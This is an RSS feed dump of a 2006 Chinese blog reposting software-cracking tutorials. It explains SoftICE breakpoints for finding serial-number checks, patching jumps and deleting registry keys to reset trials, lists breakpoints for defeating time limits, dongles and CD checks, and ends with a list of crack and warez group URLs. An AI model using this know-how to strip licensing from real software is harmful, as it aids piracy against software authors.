style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>十招教你学会破解</title><link>http://www.cnitblog.com/torch/articles/10623.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 14:48:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10623.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10623.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10623.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10623.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10623.html</trackback:ping><description><![CDATA[
		<strong>
				<font size="2">
						<span class="smalltxt">
								<span class="bold">[转帖]十招教你学会破解</span>
						</span>
						<br />
						<br />
				</font>
		</strong>
		<span style="FONT-SIZE: 11px">下面谈到了一些在学习解密过程中经常遇到的问题，本人根据自己的经验简单给大家谈一谈。这些问题对于初学者来说常常是很需要搞明白的，根据我自己的学习经历，如果你直接照着很多破解教程去学习的话，多半都会把自己搞得满头的雾水，因为有很多的概念要么自己不是很清楚，要么根本就不知道是怎么一回事，所以希望通过下面的讨论给大家一定的帮助： <br />  1. 断点：所谓断点就是程序被中断的地方，这个词对于解密者来说是再熟悉不过了。那么什么又是中断呢？中断就是由于有特殊事件（中断事件）发生，计算机暂停当前的任务（即程序），转而去执行另外的任务（中断服务程序），然后再返回原先的任务继续执行。打个比方：你正在上班，突然有同学打电话告诉你他从外地坐火车过来，要你去火车站接他。然后你就向老板临时请假，赶往火车站去接同学，接着将他安顿好，随后你又返回公司继续上班，这就是一个中断过程。我们解密的过程就是等到程序去获取我们输入的注册码并准备和正确的注册码相比较的时候将它中断下来，然后我们通过分析程序，找到正确的注册码。所以我们需要为被解密的程序设置断点，在适当的时候切入程序内部，追踪到程序的注册码，从而达到crack的目的。 <br />  2. 领空：这是个非常重要的概念，但是也初学者是常常不明白的地方。我们在各种各样的破解文章里都能看到领空这个词，如果你搞不清楚到底程序的领空在哪里，那么你就不可能进入破解的大门。或许你也曾破解过某些软件，但那只是瞎猫碰到死老鼠而已（以前我就是这样的^_^,现在说起来都不好意思喔！）。所谓程序的领空，说白了就是程序自己的地方，也就是我们要破解的程序自己程序码所处的位置。也许你马上会问：我是在程序运行的时候设置的断点，为什么中断后不是在程序自己的空间呢？因为每个程序的编写都没有固定的模式，所以我们要在想要切入程序的时候中断程序，就必须不依赖具体的程序设置断点，也就是我们设置的断点应该是每个程序都会用到的东西。在DOS时代，基本上所有的程序都是工作在中断程序之上的，即几乎所有的DOS程序都会去调用各种中断来完成任务。但是到了WINDOWS时代，程序没有权力直接调用中断，WINDOWS系统提供了一个系统功能调用平台（API），就向DOS程序以中断程序为基础一样，WINDOWS程序以API为基础来实现和系统打交道，从而各种功能，所以WINDWOS下的软件破解其断点设置是以API函数为基础的，即当程序调用某个API函数时中断其正常运行，然后进行解密。例如在SOFTICE中设置下面的断点：bpx GetDlgItemText（获取对话框文本），当我们要破解的程序要读取输入的数据而调用GetDlgItemText时，立即被SOFTICE拦截到，从而被破解的程序停留在GetDlgItemText的程序区，而GetDlgItemText是处于WINDWOS自己管理的系统区域，如果我们擅自改掉这部分的程序代码，那就大祸临头了^_^！所以我们要从系统区域返回到被破解程序自己的地方（即程序的领空），才能对程序进行破解，至于怎样看程序的领空请看前面的SOFTICE图解。试想一下：对于每个程序都会调用的程序段，我们可能从那里找到什么有用的东西吗？（怎么样去加密是程序自己决定的，而不是调用系统功能实现的！） <br />  3. API：即Application Programming Interface的简写，中文叫应用程序编程接口，是一个系统定义函数的大集合，它提供了访问操作系统特征的方法。 API包含了几百个应用程序调用的函数，这些函数执行所有必须的与操作系统相关的操作，如内存分配、向屏幕输出和创建窗口等，用户的程序通过调用API接口同WINDOWS打交道，无论什么样的应用程序，其底层最终都是通过调用各种API函数来实现各种功能的。通常API有两中基本形式：Win16和Win32。 Win16是原来的、API的16位版本，用于Windows 3.1；Win32是现在的、API的32位版本，用于Windows 95/98/NT/ME/2000。Win32包括了Win16，是Win16的超集，大多数函数的名字、用法都是相同的。16位的API函数和32位的API函数的区别在于最后的一个字母，例如我们设置这样的断点：bpx GetDlgItemText、bpx GetDlgItemTextA和bpx GetDlgItemTextW，其中 GetDlgItemText是16位API函数，GetDlgItemTextA和GetDlgItemTextW是32位API函数，而GetDlgItemTextA表示函数使用单字节，GetDlgItemTextW表示函数使用双字节。现在我们破解中常用到的是Win32单字节API函数，就是和GetDlgItemTextA类似的函数，其它的两种（Win16 API和Win32双字节API函数）则比较少见。 Win32 API函数包含在动态链接库（Dynamic Link Libraries，简称DLLs）中，即包含在kernel32.dll、user32.dll、gdi32.dll和comctl32.dll中，这就是为什么我们要在softice中用exp=C:\windows\system\kernel32.dll等命令行将这些动态链接库导入softice中的原因。因为不这样做的话，我们就无法拦截到系统Win32 API函数调用了。 <br />  4. 关于程序中注册码的存在方式：破解过程中我们都会去找程序中将输入的注册码和正确的注册码相比较的地方，然后通过对程序的跟踪、分析找到正确的注册码。但是正确的注册码通常在程序中以两种形态存在：显式的和隐式的，对于显式存在的注册码，我们可以直接在程序所处的内存中看到它，例如你可以直接在SOFTICE的数据窗口中看到类似"297500523"这样存在的注册码（这里是随意写的），对于注册码显式存在的软件破解起来比较容易；但是有些软件的程序中并不会直接将我们输入的注册码和正确的注册码进行比较，比如有可能将注册码换算成整数、或是将注册码拆开，然后将每一位注册码分开在不同的地方逐一进行比较，或者是将我们输入的注册码进行某种变换，再用某个特殊的程序进行验证等等。总之，应用程序会采取各种不同的复杂运算方式来回避直接的注册码比较，对于这类程序，我们通常要下功夫去仔细跟踪、分析每个程序功能，找到加密算法，然后才能破解它，当然这需要一定的8086汇编编程功底和很大的耐心与精力。 <br />  5. 关于软件的破解方式：本人将破解方式分为两大类，即完全破解和暴力破解。所谓完全破解主要是针对那些需要输入注册码或密码等软件来说的，如果我们能通过对程序的跟踪找到正确的注册码，通过软件本身的注册功能正常注册了软件，这样的破解称之为完全破解；但如果有些软件本身没有提供注册功能，只是提供试用（DEMO），或是注册不能通过软件本身进行（例如需要获取另外一个专用的注册程序，通过INTERNET的注册等等），或者是软件本身的加密技术比较复杂，软件破解者的能力、精力、时间有限，不能直接得到正确的注册码，此时我们需要去修改软件本身的程序码，即人为改淙砑脑诵蟹较颍庋钠平獬浦┝ζ平狻? <br />  6. 关于破解教程中程序代码地址问题：破解教程中都会放上一部分程序代码以帮助讲解程序的分析方法，例如下面的一段程序代码： <br />...... <br />0167:00408033　PUSH　00 <br />0167:00408035　PUSH　EBX <br />0167:00408036　CALL　[USER32!EndDialog] <br />0167:0040803C　JMP　0040812C <br />...... <br />  在这里程序中的代码地址如0167:00408033，其代码段的值（即0167）有可能根据不同的电脑会有区别，不一定一模一样，但偏移值应该是固定的（即00408033不变），所以如果看到破解文章里的程序代码的地址值和自己的电脑里不一样，不要以为搞错地方了，只要你的程序代码正确就不会有问题。 <br /><br />  7. 关于如何设置断点的问题：正确恰当的设置好断点对于快速有效的解密非常重要，好的断点设置可以使我们迅速找到关键的程序段，而不恰当的断点则会对解密造成不必要的精力消耗，甚至根本就不能拦截到程序的运行。但是具体什么时候用什么断点比较合适很难说，这需要自己用经验去累积，总的说来bpx hmemcpy这个万能断点对大多数注册码方式的软件都有用，初学者不妨多试试这个断点（通常我也是用这个断点设置，懒嘛^_^，哈哈。。。）。对于那些需要暴力破解的非注册码方式的软件，通常我们应该拦截对话框（如bpx DialogBox）和消息框（如bpx MessageBox(A)）等。不论对于哪一类软件，当我们设置的断点均没有效果时，可是试一下bpx lockmytask，这个断点的作用是拦截任何一个按键的动作，具体常用的一些断点设置请参考"破解常用断点设置"一文。另外，在注册码的破解中通常需要输入用户名和注册码，一般说来用户名和密码都可以随意输入，但是根据我自己的经验，很多软件对于注册码都会逐位的进行处理，假如输入"78787878"这串数字，那么在跟踪程序的时候我们就无法知道我们当时所看到的"78"倒底是哪一个"78"，所以我比较喜欢用"12345678"这样的注册码输入方式，这样的话就就能知道程序是在对注册码的哪一位进行运算，同样的对于那些需要输入较长序列号的软件，输入类似"12345-67890-ABCDEF"这样的序列号较好。 不过有一点大家需要特别的注意：上面讲的注册码输入方式"12345678"是针对拦截WIN32 API函数来说的，假如有些时候直接拦截WIN32 API函数难以找到程序的突破口，而要借助于"S"指令在内存中寻找我们输入的用户名或注册码时，就最好不要采用"12345678"作为注册码，因为内存中很可能有许多的"12345678"字符串，这样我们没有办法知道倒底我们要破解的程序使用的是哪一个"12345678"，所以我们应该选择一个不易和内存数据相同的注册码，比如：74747474（本人喜欢用，意思嘛：去死去死。。。哈哈哈^_^），对应的搜索指令为： S 30:0 L FFFFFFFF ';74747474'; 。当然，以上只是我个人的习惯而已，具体用什么样的输入形式可以根据本人的爱好、习惯来定，不必拘泥于某一固定的模式。 <br />8. 关于如何跟踪程序的问题：初学者在开始学习解密的时候往往不知道怎么样去跟踪程序，怎么样找到注册码比较的地方，当面对长长的一堆程序代码时显得不知所措。通常软件的程序内部都会利用一个子程序（即 CALL ********）去验证我们输入的注册码正确与否，对于注册码显式存在的程序，一般都会将所输入的注册码和正确的注册码放进寄存器，然后调用验证子程序进行判断，将结果返回，应用程序根据子程序返回的结果决定是否注册成功，这样的程序经常具有如下的形式： <br />****:********　MOV　EAX,[********]　　（或 PUSH EAX等形式） <br />****:********　MOV　EDX,[********]　　（或 PUSH EDX等形式） <br />****:********　CALL　******** <br />****:********　TEST　EAX,EAX　　　　　（或 TEST AL,AL，或是没有这一句等形式） <br />****:********　JNZ　********　　　　　（或 JZ ********等形式） <br />其中EAX和EDX指向的内存区域就是我们输入的注册码和正确的注册码，这里的寄存器EAX和EDX是随意写的，也可以是ECX，EBX，EDI，ESI等等。对于注册码隐式存在的程序，虽然不能直接看到正确的注册码，但是通常也是先将所输入的注册码地址放进某个寄存器，然后调用子程序去验证，破解时就需要进入子程序去分析注册算法。总之，看到子程序（call ********）后面跟着跳转指令（JNZ ********或JZ ********）的地方我们就应该提高警惕，多用 D EAX（或EBX、ECX、EDX、EDI、ESI...等）去看看寄存器指向的内存区域藏着什么东西。有一点大家要提醒大家：看见程序中使用下面这个函数是要注意，即GetDlgItenInt，这个API函数的作用是将输入的文本转化为整数，所以这类程序中是不会有显示存在的注册码的，因为注册码被转换为整数了，程序通常会用CMP ECX,EDX 这种类型的指令去验证注册码的正确性，这里ECX和EDX中存的就是所输入注册码和正确注册码的整数形式，此时可以用 ? edx 和 ? ecx 看到其十进制形式，即我们输入的形式。 <br />  9. 关于软件的反安装问题：经常我们使用某些软件时都会遇到一个问题，就是共享软件过期之后即使删掉原程序重新安装，程序依然不能用，还是一样提醒你试用期已过请注册；或者是你已经破解了某个软件，但是还想继续研究它，但是因为软件已经注册好，没有了注册选项，这时你即使彻底删掉程序再重新安装软件，结果程序运行后还是注册过的。遇到这样的情况，其实原因很简单，因为程序将注册或过期信息存在了系统注册表里，所以简单的重新安装软件是无济于事的。解决的办法就是自己删掉注册表中有关的信息，但是因为注册表是WINDOWS系统工作的基础，如果不小心就很可能会损坏它而引起系统异常，所以如果你对注册表不是很熟的话，应该在修改之前备份一下注册表。不论是修改还是备份注册表都可以使用WINDOWS下的注册表管理工具"REGEDIT"来进行，一种办法是在"开始-&gt;运行"下输入"regedit"启动它，也可以直接点击"C:\WINDOWS\regedit.exe"来运行。大部分的应用软件都会将自己的信息存在如下的路径中：HKEY_LOCAL_MACHINE\Software、HKEY_LOCAL_MACHINE\Software\Microsoft、HKEY_CURRENT_USER\Software、HKEY_CURRENT_USER\Software\Microsoft 或 HKEY_USERS\.DEFAULT\Software下，具体是哪个地方依据不同的程序而有所不同，只要按上面的顺序肯定能找到有关应用程序的键，然后将和用户名及注册码有关的键值删掉就搞定了。 <br />  10. 关于破解练习的问题：学习破解需要大量的练习，对于破解目标的选择，初学者不宜以大型的、著名的软件为目标，因为这些软件通常加密较为复杂，破解不易，应该选择一些比较不出名的、小型的和早些时候的共享软件来练习，因为加密相对简单的软件有利于初学者快速掌握破解思想和技能。至于习题的来源则很广泛，可以从网上下载，也可以去市面上购买一些共享软件光盘。</span>
<img src ="http://www.cnitblog.com/torch/aggbug/10623.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 22:48 <a href="http://www.cnitblog.com/torch/articles/10623.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>破解基础知识汇编</title><link>http://www.cnitblog.com/torch/articles/10622.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 14:47:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10622.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10622.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10622.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10622.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10622.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: [转载]破解基础知识汇编																										第一章--前言 好多哥们儿说看教程跟的书都看不太明白，所以，我尽量把话说到最容易理解的份上，本文写给那些刚入门和尚未入门的朋友们... 目录 no.1------------------前言（说明一下） no.2------------------汇编语言 no.3-----------------...&nbsp;&nbsp;<a href='http://www.cnitblog.com/torch/articles/10622.html'>阅读全文</a><img src ="http://www.cnitblog.com/torch/aggbug/10622.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 22:47 <a href="http://www.cnitblog.com/torch/articles/10622.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>破解常用断点大全</title><link>http://www.cnitblog.com/torch/articles/10621.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 14:44:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10621.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10621.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10621.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10621.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10621.html</trackback:ping><description><![CDATA[
		<span style="FONT-SIZE: 11px">断点大全<br />密码常用中断<br />Hmemcpy (win9x专用)<br />GetDlgItemTextA <br />GetDlgItemInt<br />vb:<br />getvolumeinformationa 　<br />vbastrcomp (trw)<br />Bpx __vbaStrComp (记得是两个 ';_';)<br />MSVBVM60!_vbastrcomp|sofice<br />MSVBVM50!           |　<br />VBAI4STR　<br />Ctrl+D <br />bpx msvbvm60!__vbastrcomp do "d *(esp+0c)"(softice) <br />按几次F5出册码出来了。 <br />bpx regqueryvalueexa do “d esp－&gt;8”(trw)　<br />vbaVarTstEq 判断是否注册的函数<br />(0042932F 66898580FEFFFF          mov word ptr [ebp+FFFFFE80], ax<br />改为0042932F 66898580FEFFFF       mov word ptr [ebp+FFFFFE80], bx)<br />时间常用中断<br />GetSystemTime<br />GetLocalTime<br />GetTickCount<br />vb:<br />rtcGetPresentDate          //取得当前日期　<br />杀窗常用中断<br />Lockmytask (win9x专用)<br />DestroyWindow<br />mouse_event (鼠标中断)<br />postquitmessage (Cracking足彩xp,很有用^_^)<br />vb:<br />_rtcMsgBox　<br />ini文件内容常用中断<br />GetPrivateProfileStringA<br />GetPrivateProfileProfileInt　<br />key文件:<br />getprivateprofileint<br />ReadFile<br />CreateFileA　<br />注册表常用中断<br />RegQueryvalueA<br />RegQueryvalueExA　<br />狗加密中断<br />BPIO -h 278 R<br />BPIO -h 378 R 　<br />其它常用函数断点<br />CreateFileA (读狗驱动程序), <br />DeviceIOControl, <br />FreeEnvironmentStringsA (对付HASP非常有效). <br />Prestochangoselector (16-bit HASP';s), ';7242'; 查找字符串 (对付圣天诺).具体含义参考下面的范例。　<br />光盘破解中断<br />16:<br />getvolumeinformation<br />getdrivetype<br />int 2fh (dos)<br />32:<br />GetDriveTypeA  <br />GetFullPathNameA<br />GetWindowsDirectoryA　<br />读磁盘中断<br />GETLASTERROR 返回扩充出错代码 　<br />限制中断<br />EnableMenuItem 允许、禁止或变灰指定的菜单条目 <br />EnableWindow 允许或禁止鼠标和键盘控制指定窗口和条目（禁止时菜单变灰） 　<br />不知道软盘中断是什么了？还有其它特殊中断，不知道其他朋友可否说一下了？<br />如:Lockmytask and mouse_event，这些就不是api32函数？<br />win9x 与 win2k进行破解，以上中断有部分已经不能用了？<br />不知道在win2k上，以上常用中断函数是什么了？<br />也就是问密码、时间、窗口、ini、key、注册表、加密狗、光盘、软盘、限制等！<br />了解常用的中断，对破解分析可以做到事半功倍！<br />请大家说一下！还有如何破解了某个软件时，一重启就打回原形？<br />不知道下什么中断了？可以分为三种情况：<br />1.比较可能在注册表中<br />2.比较在特殊文件(*.key *.ini *.dat等)<br />3.比较在程序中，没有任何错误提示或者反译也找不到明显字符(这个就是我想问的)　<br />还有一个是最难的，就是去掉水印！<br />也可以三种情况：<br />A.水印是位图文件(bitblt,creatBITMAP等位图函数)<br />B.水印是明显字符(反译分析)<br />C.水印不是明显字符(如：This a demo!它只是显示在另一个制作文件上,可是*.htm *.exe等)<br />C.才是最难搞，也是很多人想知道的！包括我在内。不知道高手们有何提示了？　<br />广告条：<br />可以分两种情况:<br />A.从创建窗口进手,可以用到movewindow或者其它窗口函数!<br />B.从位图进手,也可以用到bitblt或者其它位图函数!<br />最后可以借助一些现有工具(如:api27,vwindset,freespy之类的工具)　<br />葡萄虽无树，藤生棚中秧。<br />人处凡尘中，岂不惹尘埃?　<br />小球[CCG] <br />那要看是在哪作的标记，通常是在注册表中留下信息！ <br />在softice中就要用bpx regqueryvalueexa do "d esp-&gt;8"来中断看看，<br />在trw中要用bpx regqueryvalueexa do "d*(esp+8)"来中断看看。<br />还有的是在本目录下留下注册信息，常见的有.dat .ini .dll等等，<br />我是用bpx readfile来中断的，还有的是在windows目录下留下注册信息。<br />你可以借助专用的工具帮助你查看，入filemon等！ 　<br />vb:　<br />1、__vbaVarTstNe              //比较两个变量是否不相等 <br />2、rtcR8ValFromBstr            //把字符串转换成浮点数 <br />3、rtcMsgBox  显示一信息对话框  <br />4、rtcBeep                    //让扬声器叫唤 <br />5、rtcGetPresentDate          //取得当前日期 　<br />针对字串: <br />__vbaStrComp <br />__vbaStrCmp <br />__vbaStrCompVar <br />__vbaStrLike <br />__vbaStrTextComp <br />__vbaStrTextLike <br />针对变量: <br />__vbaVarCompEq <br />__vbaVarCompLe <br />__vbaVarCompLt <br />__vbaVarCompGe <br />__vbaVarCompGt <br />__vbaVarCompNe 　<br />VB的指针:<br />THROW 　<br />VB DLL还调用了oleauto32.dll中的部分函数。oleauto32.dll是个通用的proxy/stub DLL，其每个函数的原型在&lt;oleauto.h&gt;中定义，并在MSDN中有详细描述。这也有助于理解VB DLL中的函数的作用。 　<br />举例： 　<br />LEA EAX, [EBP-58] <br />PUSH EAX <br />CALL [MSVBVM60!__vbaI4Var] 　<br />执行call之前敲dd eax+8，得到的值为3； <br />执行完call之后，eax = 3 <br />从而可知__vbaI4Var的作用是将一个VARIANT转换为I4（即一个长整数）。　<br />__vbaVarTstNe似乎是用来进行自校验的，正常情况下返回值为0。 <br />已知适用的软件有：网络三国智能机器人、音乐贺卡厂。当这两个软件被脱壳后都回出错，网络三国智能机器人会产生非法*作，而音乐贺卡厂会告诉你是非法拷贝，通过修改__vbaVarTstNe的返回值都可让它们正常运行。 <br />所以当您遇到一个VB软件，脱壳后无法正常运行，而又找不出其它问题时，可试试拦截这个函数，说不定会有用哦。8-）　<br />API不太知道,也许可以通过BIOS在98平台上读写扇区,不过在2000/NT下可以通过内黑ATAPI,HAL写扇区 <br />machoman[CCG]<br />bpx WRITE_PORT_BUFFER_USHORT <br />NT/2000下这个断点,当edx=1f0h,时,可以看见EDI地址内数据为扇区位置数据,必须先 在winice.dat 中装入hal.sys 详细内容看ATAPI手册 　<br />补充篇:<br />关于对VB程序和时间限制程序的断点<br />CrackerABC<br />先给出修改能正确反编译VB程序的W32DASM的地址： <br />====================== <br />offsets 0x16B6C-0x16B6D 　<br />修改机器码为： 98 F4 <br />====================== 　<br />VB程序的跟踪断点： 　<br />============ <br />MultiByteToWideChar, <br />rtcR8ValFromBstr, <br />WideCharToMultiByte, <br />__vbaStrCmp <br />__vbaStrComp <br />__vbaStrCopy <br />__vbaStrMove <br />__vbaVarTstNe <br />rtcBeep <br />rtcGetPresentDate (时间API) <br />rtcMsgBox <br />========= 　<br />时间限制断点： 　<br />================ <br />CompareFileTime <br />GetLocalTime <br />GetSystemTime <br />GetTimeZoneInformation <br />msvcrt.diffTime() <br />msvcrt.Time() <br />================ 　<br />一般处理<br />bpx hmemcpy<br />bpx MessageBox<br />bpx MessageBoxExA<br />bpx MessageBeep<br />bpx SendMessage　<br />bpx GetDlgItemText<br />bpx GetDlgItemInt<br />bpx GetWindowText<br />bpx GetWindowWord<br />bpx GetWindowInt<br />bpx DialogBoxParamA<br />bpx CreateWindow<br />bpx CreateWindowEx<br />bpx ShowWindow<br />bpx UpdateWindow　<br />bmsg xxxx wm_move<br />bmsg xxxx wm_gettext<br />bmsg xxxx wm_command<br />bmsg xxxx wm_activate  　<br />时间相关 <br />bpint 21 if ah==2A (DOS)<br />bpx GetLocalTime<br />bpx GetFileTime<br />bpx GetSystemtime  　<br />CD-ROM 或 磁盘相关 <br />bpint 13 if ah==2 (DOS)<br />bpint 13 if ah==3 (DOS)<br />bpint 13 if ah==4 (DOS)<br />bpx GetFileAttributesA<br />bpx GetFileSize<br />bpx GetDriveType<br />bpx GetLastError<br />bpx ReadFile<br />bpio -h (Your CD-ROM Port Address) R  　<br />软件狗相关 <br />bpio -h 278 R<br />bpio -h 378 R  　<br />键盘输入相关 <br />bpint 16 if ah==0 (DOS)<br />bpint 21 if ah==0xA (DOS)  　<br />文件访问相关 <br />bpint 21 if ah==3dh (DOS)<br />bpint 31 if ah==3fh (DOS)<br />bpint 21 if ah==3dh (DOS)<br />bpx ReadFile<br />bpx WriteFile<br />bpx CreateFile<br />bpx SetFilePointer<br />bpx GetSystemDirectory 　<br />INI 初始化文件相关 <br />bpx GetPrivateProfileString<br />bpx GetPrivateProfileInt<br />bpx WritePrivateProfileString<br />bpx WritePrivateProfileInt 　<br />注册表相关 <br />bpx RegCreateKey<br />bpx RegDeleteKey<br />bpx RegQueryvalue<br />bpx RegCloseKey<br />bpx RegOpenKey 　<br />注册标志相关 <br />bpx cs:eip if EAX==0 　<br />内存标准相关 <br />bpmb cs:eip rw if 0x30:0x45AA==0 　<br />显示相关 <br />bpx 0x30:0x45AA do "d 0x30:0x44BB"<br />bpx CS:0x66CC do "? EAX"<br /></span>
<img src ="http://www.cnitblog.com/torch/aggbug/10621.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-05-16 22:44 <a href="http://www.cnitblog.com/torch/articles/10621.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>全球破解组织网址大全</title><link>http://www.cnitblog.com/torch/articles/10620.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Tue, 16 May 2006 14:42:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/10620.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/10620.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/10620.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/10620.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/10620.html</trackback:ping><description><![CDATA[
		<strong>
				<font size="2">
						<span class="smalltxt">
								<span class="bold">[转帖]全球破解组织网址大全</span>
						</span>
						<br />
						<br />
				</font>
		</strong>
		<span style="FONT-SIZE: 11px">全球破解组织网址大全 <br />由于破解组织不能有长期的网站，所以如果有不能进入的网站不要奇怪！ <br /><a href="http://www.phrozencrew.com/" target="_blank"><font color="#000036">http://www.phrozencrew.com/</font></a> (The OFFICIAL PC Website) <br /><a href="http://nitr8.tsx.org/" target="_blank"><font color="#000036">http://nitr8.tsx.org/</font></a> (Nitr8^';s site -- PC mem) <br /><a href="http://www.ixpres.com/jwwiii/" target="_blank"><font color="#000036">http://www.ixpres.com/jwwiii/</font></a><br /><a href="http://rude.8m.com/" target="_blank"><font color="#000036">http://rude.8m.com/</font></a> (RudeBoy';s Page of Fun -- PC mem) <br /><a href="http://www.phrozencrew.com/~teraphy/" target="_blank"><font color="#000036">http://www.phrozencrew.com/~teraphy/</font></a><br /><a href="http://azrael.infierno.org/" target="_blank"><font color="#000036">http://azrael.infierno.org/</font></a><br /><a href="http://come.to/dkc.com/" target="_blank"><font color="#000036">http://come.to/dkc.com/</font></a> (da Kurious Child';s site -- PC mem) <br /><a href="http://virogen.cjb.net/" target="_blank"><font color="#000036">http://virogen.cjb.net/</font></a> (Virogen';s NOP page -- PC mem) <br /><a href="http://davinci.ice.org/" target="_blank"><font color="#000036">http://davinci.ice.org/</font></a> (DaVinci';s Art Gallery) <br /><a href="http://nitallica.cjb.net/" target="_blank"><font color="#000036">http://nitallica.cjb.net/</font></a> (My Artrial Emissions) <br /><a href="http://welcome.to/my.gothic.domain/" target="_blank"><font color="#000036">http://welcome.to/my.gothic.domain/</font></a><br /><a href="http://surf.to/HarvestR/" target="_blank"><font color="#000036">http://surf.to/HarvestR/</font></a> (Various Links and Tools) <br /><a href="http://hackersclub.com/km/files/cfiles/index.html" target="_blank"><font color="#000036">http://hackersclub.com/km/files/cfiles/index.html</font></a> (PC tuts) <br /><a href="http://uranus.kersur.net/Cracks/PC_Files/" target="_blank"><font color="#000036">http://uranus.kersur.net/Cracks/PC_Files/</font></a><br /><a href="http://defiance.hysterical.net/T_D/cracks.htm" target="_blank"><font color="#000036">http://defiance.hysterical.net/T_D/cracks.htm</font></a><br /><a href="http://www.toxic.thiswayup.com/" target="_blank"><font color="#000036">http://www.toxic.thiswayup.com/</font></a><br /><a href="http://start.at/SerialNumberShop/" target="_blank"><font color="#000036">http://start.at/SerialNumberShop/</font></a><br /><a href="http://defiance.hysterical.net/T_D/...packs/index.htm" target="_blank"><font color="#000036">http://defiance.hysterical.net/T_D/...packs/index.htm</font></a> (More Crack Packs) <br /><a href="http://home.global.co.za/~ticket/" target="_blank"><font color="#000036">http://home.global.co.za/~ticket/</font></a> (alternate Serial Number Shop URL) <br /><a href="http://www.warezone.com/cracks/9811/" target="_blank"><font color="#000036">http://www.warezone.com/cracks/9811/</font></a><br />uNiTED cRACKiNG fORCE: <br /><a href="http://www.ucf2000.com/" target="_blank"><font color="#000036">http://www.ucf2000.com/</font></a> (UCF';s Homepage and access to their crack files) <br /><a href="http://www.seventh.com.au/ucf/" target="_blank"><font color="#000036">http://www.seventh.com.au/ucf/</font></a> (Something new from the guys in UCF,check it out!) <br /><a href="http://quantico.cjb.net/" target="_blank"><font color="#000036">http://quantico.cjb.net/</font></a> (Quantico';s HQ -- MEXELiTE &amp; UCF mem) <br /><a href="http://scroll.to/mysite/" target="_blank"><font color="#000036">http://scroll.to/mysite/</font></a> (KiRCH0FF';s website -- UCF mem) <br />CORE: <br /><a href="http://www.orc.ru/~pakou/index.html" target="_blank"><font color="#000036">http://www.orc.ru/~pakou/index.html</font></a> (Russ97';s CORE Collection) <br /><a href="http://www.russcore.net/" target="_blank"><font color="#000036">http://www.russcore.net/</font></a> (CORE cracks) <br /><a href="http://hambo.yeah.net/" target="_blank"><font color="#000036">http://hambo.yeah.net/</font></a> (Keygen Studio) <br /><a href="http://202.103.111.109/hambo/index.html" target="_blank"><font color="#000036">http://202.103.111.109/hambo/index.html</font></a> (alternate Keygen Studi URL) <br /><a href="http://www.crackworld.net/hambo/index.html" target="_blank"><font color="#000036">http://www.crackworld.net/hambo/index.html</font></a> (alternate Keygen Studio URL) <br />LawAbidingCriminalZ: <br /><a href="http://users.powernet.co.uk/smurff/" target="_blank"><font color="#000036">http://users.powernet.co.uk/smurff/</font></a> (LAC Homepage) <br /><a href="http://www.welcome.to/lawabidingcriminalz/" target="_blank"><font color="#000036">http://www.welcome.to/lawabidingcriminalz/</font></a> (Another LAC url) <br /><a href="http://www.lac2000.freeserve.co.uk/" target="_blank"><font color="#000036">http://www.lac2000.freeserve.co.uk/</font></a> (Another LAC url) <br />cRACKiNG 4 aLL: <br /><a href="http://surf.to/C4A" target="_blank"><font color="#000036">http://surf.to/C4A</font></a> (c4a Website) <br /><a href="http://208.234.248.14:81/c4all/" target="_blank"><font color="#000036">http://208.234.248.14:81/c4all/</font></a> (Alternate C4A URL) <br /><a href="http://guest:rusky@skcarc.reallyrussian.com/c4all/" target="_blank"><font color="#000036">http://guest:rusky@skcarc.reallyrussian.com/c4all/</font></a> (more C4A!!) <br />The Exterminators: <br /><a href="http://skcarc.reallyrussian.com/" target="_blank"><font color="#000036">http://skcarc.reallyrussian.com/</font></a> (username: guest password: rusky - <br />Please note this is temporary) <br /><a href="http://home.bip.net/rbz16/pict1b.html" target="_blank"><font color="#000036">http://home.bip.net/rbz16/pict1b.html</font></a> (RayBieZ Releases -- tEXmember) <br /><a href="http://qnet.kr.net/~netp/tex99/" target="_blank"><font color="#000036">http://qnet.kr.net/~netp/tex99/</font></a> (fresh tEX releases!) <br /><a href="http://tex99.mypage.org/" target="_blank"><font color="#000036">http://tex99.mypage.org/</font></a> (Fresh tEX URL) <br />AnThraX - The Ongoing Force: <br /><a 